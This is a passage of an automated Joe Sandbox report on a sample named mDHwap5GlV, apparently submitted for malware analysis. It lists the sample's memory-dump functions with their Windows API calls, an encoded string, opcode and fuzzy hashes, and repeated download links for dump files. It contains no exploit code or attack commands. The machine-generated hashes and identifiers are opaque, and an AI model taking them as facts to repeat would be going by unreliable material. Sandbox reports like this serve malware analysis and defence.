Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: ErrorLast$FreeHeapLibraryLoadwcscpy_s
String ID: FaultRep.dll
API String ID: 479767642-539101712
Opcode ID: cc6bc23ea84143558bc6b8f1ce9f59ecae755bc5a0f0ec9bd4d63e5705c59ecb
Instruction ID: 50b61f2887ef70b2760e5dda2ef4a52462e671343551325f47cf1b9e355761b1
Opcode Fuzzy Hash: cc6bc23ea84143558bc6b8f1ce9f59ecae755bc5a0f0ec9bd4d63e5705c59ecb
Instruction Fuzzy Hash: DD410971805268AACB20DB64ED99B9EBBB8EB18700F1041DAE409A3251EB741F44CF90

Function 00A250E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A29F40: VirtualQuery.KERNEL32(?,?,0000001C,?,?,00A25145,?,89ECF510), ref: 00A29F5F

GetCurrentThreadId.KERNEL32 ref: 00A2526F
SetEvent.KERNEL32(03334F58,?,89ECF510), ref: 00A2539C

Strings

h/6N9OqHRCp8e05wQTEILsy03MIZYLgmX+1Nm5yFWKSGu2Y9OuY/kGhDwR/OTFgBAcKRqo5Q6zQI5Bs0pjOsfKub1vrEMCEtGWOADYee38q/56rU0NE3xQNdVn2LCE+D5v, xrefs: 00A253A5

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CurrentEventQueryThreadVirtual
String ID: h/6N9OqHRCp8e05wQTEILsy03MIZYLgmX+1Nm5yFWKSGu2Y9OuY/kGhDwR/OTFgBAcKRqo5Q6zQI5Bs0pjOsfKub1vrEMCEtGWOADYee38q/56rU0NE3xQNdVn2LCE+D5v
API String ID: 2478193043-2190612264
Opcode ID: 16380ce152732442aa1cc89e843cd61889a8b16ee5e3432823d9cef3a8e3b387
Instruction ID: 4518ea5676b97ffce7ed093829587e06b4a544f9aa9c8ff05fee468456b016b4
Opcode Fuzzy Hash: 16380ce152732442aa1cc89e843cd61889a8b16ee5e3432823d9cef3a8e3b387
Instruction Fuzzy Hash: 4C718A70A00658CFDB04DFB8E995BADBBF0FB08314F14416DE805AB392DB79A944CB90

Function 00A244F0 Relevance: 5.4, APIs: 4, Instructions: 364
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1B260: SleepEx.KERNEL32(0000000A,00000000,00000000,?,00A245F1), ref: 00A1B288

GetProcessHeap.KERNEL32 ref: 00A248EA
HeapAlloc.KERNEL32(03310000,00000000,000002CC), ref: 00A24905
GetProcessHeap.KERNEL32 ref: 00A2495D
HeapAlloc.KERNEL32(03310000,00000000,0000000C), ref: 00A2497A

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$AllocProcess$Sleep
String ID:
API String ID: 207374558-0
Opcode ID: d4acaddf5fd7cc8c0cc6ae2fee2c3245f8cc658122b6a10304ed9b6a37b553e2
Instruction ID: 856ede81a9c2379fc276293cab82b34d87d93715766a2fde79a8478dc474f4b0
Opcode Fuzzy Hash: d4acaddf5fd7cc8c0cc6ae2fee2c3245f8cc658122b6a10304ed9b6a37b553e2
Instruction Fuzzy Hash: D00235B0A01B069FE314CF28D599B8AFBF0FB09314F10862ED4A99B390D7B5A554CF91

Function 00A817B0 Relevance: 4.5, APIs: 3, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A250E0: SetEvent.KERNEL32(03334F58,?,89ECF510), ref: 00A2539C

SetEvent.KERNEL32(0334B520,00000001), ref: 00A8182C
SetEvent.KERNEL32(0334B690,00000001), ref: 00A81847
SleepEx.KERNEL32(000000FF,00000000), ref: 00A8186A

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Event$Sleep
String ID:
API String ID: 1754279505-0
Opcode ID: 063ddb14aae278d8aabc849c432768161ceb2e1f34bdc150a9fbbdf9bd25ced0
Instruction ID: e80768ac9a6e0d1e3206eb8f6a8ac5112ec8a0cac37eaccb22ce2925f274cbac
Opcode Fuzzy Hash: 063ddb14aae278d8aabc849c432768161ceb2e1f34bdc150a9fbbdf9bd25ced0
Instruction Fuzzy Hash: 7D11A070A00208EFC704EF64EA4EF493BB4FB05344F648179E4469B3A1CB329A4AEF41

Function 00A86D70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEvent.KERNEL32(0334B520,00000001,?,80131500), ref: 00A86DE2

Strings

NotSupported_COM, xrefs: 00A86E77

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Event
String ID: NotSupported_COM
API String ID: 4201588131-3637357146
Opcode ID: 366b7d75ff7068d3a3a2f1b98da15797e8e5af2f4ef1982b0e9ddd7f531e90bd
Instruction ID: 457d0551a041572e360bbe458b2df87e1f7bd2e40f6fcb74d73f68a7a145238a
Opcode Fuzzy Hash: 366b7d75ff7068d3a3a2f1b98da15797e8e5af2f4ef1982b0e9ddd7f531e90bd
Instruction Fuzzy Hash: A13107717002149FD314EF68E986B9AB3E6FF85311F14826DF8098B3A1DB729D41DB81

Function 00A265C0 Relevance: 3.3, APIs: 2, Instructions: 330
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a05dd15e034b3e63a13c05999284f8780b95e87a72cf75c3c069b5cc256ef70
Instruction ID: a1e573a37c273ef4de891ec1e850c0c8652695eec29bc70e4d072e1bc0128140
Opcode Fuzzy Hash: 8a05dd15e034b3e63a13c05999284f8780b95e87a72cf75c3c069b5cc256ef70
Instruction Fuzzy Hash: 7DE19C71A01218CFDB14DF68EA85BADBBB1FF48314F148169E815AB3A1DB70AD45CF90

Function 009790A0 Relevance: 3.2, APIs: 2, Instructions: 162
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___from_strstr_to_strchr.LIBCMT ref: 009790DD
HeapFree.KERNEL32(00000000,?,00000000,?,00000006,00000000), ref: 0097922F

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap___from_strstr_to_strchr
String ID:
API String ID: 1887983760-0
Opcode ID: 1c7c4c3055d81f295c915569f6c766cee0a0a2a7801b89826969a699e2566bee
Instruction ID: 4fdf4f3eafe8b8089ae49956819112664a5cc1a50cb4e66fac002a4f4c0f004f
Opcode Fuzzy Hash: 1c7c4c3055d81f295c915569f6c766cee0a0a2a7801b89826969a699e2566bee
Instruction Fuzzy Hash: E0512C75A00209AFCF24DF98C985FAEBBB8FF49724F108119E519AB391D734AD05CB90

Function 09B719C0 Relevance: 3.2, APIs: 2, Instructions: 152
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNetworkParams.IPHLPAPI ref: 09B71A26
GetNetworkParams.IPHLPAPI ref: 09B71A62

Memory Dump Source

Source File: 00000000.00000002.2583583075.0000000009B61000.00000020.00000001.00040000.00000003.sdmp, Offset: 09B60000, based on PE: true

Associated: 00000000.00000002.2583527581.0000000009B60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583606759.0000000009B8B000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583623116.0000000009B8C000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2583638232.0000000009B8E000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b60000_mDHwap5GlV.jbxd

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 63053dbf1f12fbdf7de1a227da39388e0bd0a86efa9a2604bdee2044930f0076
Instruction ID: 708535b9f6a9a58e16734394b317ac8f2a2e80ec37c0f5037961e73099bb7ef2
Opcode Fuzzy Hash: 63053dbf1f12fbdf7de1a227da39388e0bd0a86efa9a2604bdee2044930f0076
Instruction Fuzzy Hash: 5161F235A04259DFDB08CFA8E498ADEBBB2EF8C320F148169E516A7361DB305849CF51

Function 00A26440 Relevance: 3.1, APIs: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoGetContextToken.OLE32(?,89ECF510,?,?), ref: 00A264A3
CoUninitialize.COMBASE(89ECF510), ref: 00A26527

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: ContextTokenUninitialize
String ID:
API String ID: 3685926914-0
Opcode ID: 2351df6ab19790a0489ec2d4fa7d330c348ab63a9087a8a5dccff6e5721fdff7
Instruction ID: 76eaa832b02d5f82cee97cf828bbbcdda127c731f9f1c5a8e59e2d5b3ea06cb3
Opcode Fuzzy Hash: 2351df6ab19790a0489ec2d4fa7d330c348ab63a9087a8a5dccff6e5721fdff7
Instruction Fuzzy Hash: 4E41DE71A02725CFDB24DF5CE648BAAB7F4EF00711F20463AE8659B294DB34E904CB90

Function 00A28720 Relevance: 3.1, APIs: 2, Instructions: 113
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00A28748
CoRegisterInitializeSpy.OLE32(00000000,?), ref: 00A287F5

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CurrentInitializeRegisterThread
String ID:
API String ID: 3977203164-0
Opcode ID: e4a08e735f5d2d8d2904e63e4fcc5e1e9981a35e51606136d9a065a1a7e49051
Instruction ID: 2d366183368e76ab532717911cbf2898bc456e45f63ba9fbaba62ffc37b2c070
Opcode Fuzzy Hash: e4a08e735f5d2d8d2904e63e4fcc5e1e9981a35e51606136d9a065a1a7e49051
Instruction Fuzzy Hash: D741B270905758DBD715CF68D9017AABBF8EB05714F20836EE829A73D0DB799A00CB80

Function 00BC1F60 Relevance: 3.1, APIs: 2, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00BC55DA,0000000C,89ECF510,?,00000002,?,?,00E364B4,000000FF,?,00BD051E,?,00000002,?,89ECF510), ref: 00BC1F6C
RtlAllocateHeap.NTDLL(03310000,00000000,00000002,?,00BC55DA,0000000C,89ECF510,?,00000002,?,?,00E364B4,000000FF,?,00BD051E,?), ref: 00BC1F8A

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 39d878d22ebefce6115c0517d622dceaf6af41f842cd868cff6870b5978f1108
Instruction ID: 37469b49bad7a18e010d697ad73874006541b93310a488b987d7bdeb0baad906
Opcode Fuzzy Hash: 39d878d22ebefce6115c0517d622dceaf6af41f842cd868cff6870b5978f1108
Instruction Fuzzy Hash: E201B131B14209AFD710ABAAEC06F9A77DDEB85B14F1044BDF509D7201EB74E9009BA1

Function 00BC1FC0 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000002,0096F61B,00000002,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC1FCC
RtlAllocateHeap.NTDLL(03310000,00000000,?,00000002,0096F61B,00000002,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC1FE8

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 4a056bd50d4586e95efdd4a5a3b11150adbe006579744a29ba94f539ecba26a1
Instruction ID: 4fd6f789aa6e8cecdbb71010e7880d1bf726d1e2ae51fb8847e9c65d545bf83b
Opcode Fuzzy Hash: 4a056bd50d4586e95efdd4a5a3b11150adbe006579744a29ba94f539ecba26a1
Instruction Fuzzy Hash: 5FF06D30B01111DFE725EB79E909F8A37D4EB09B15F4444BDE40AD7251DB289841CB60

Function 00A86370 Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32(89ECF510,0374B1A4,0374B1A4,01000200), ref: 00A864DC

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: a455c02adcb8b7dc5dd8cefae892623015071d10e39dfa084396b2c33ff2ee86
Instruction ID: 3cbf36f8573e23eb3993a20953f81d2aff95f41519922fea92a3a8916299a0a1
Opcode Fuzzy Hash: a455c02adcb8b7dc5dd8cefae892623015071d10e39dfa084396b2c33ff2ee86
Instruction Fuzzy Hash: 8E510071A00608DFDB15DFA8DA85FAEBBF4FB49724F14025AE811A7391D775A900CF80

Function 00B585E0 Relevance: 1.5, APIs: 1, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,00000000,?,00000000), ref: 00B58859

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9ad8c70856cc78f44a1c552b5f6cea196d84f166924df0b6429483c5589ef4c1
Instruction ID: 1cf7f00a051469fc95dfd1284a5df3bf68c13c98539f39ee02dead52aefe6aa9
Opcode Fuzzy Hash: 9ad8c70856cc78f44a1c552b5f6cea196d84f166924df0b6429483c5589ef4c1
Instruction Fuzzy Hash: 42815B71A00219DFDB14CF99D884B9EB7F4FF48711F2481AAE815AB390DB75AD09CB90

Function 00A60200 Relevance: 1.4, APIs: 1, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A250E0: SetEvent.KERNEL32(03334F58,?,89ECF510), ref: 00A2539C

HeapFree.KERNEL32(00000000,?), ref: 00A6037B

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
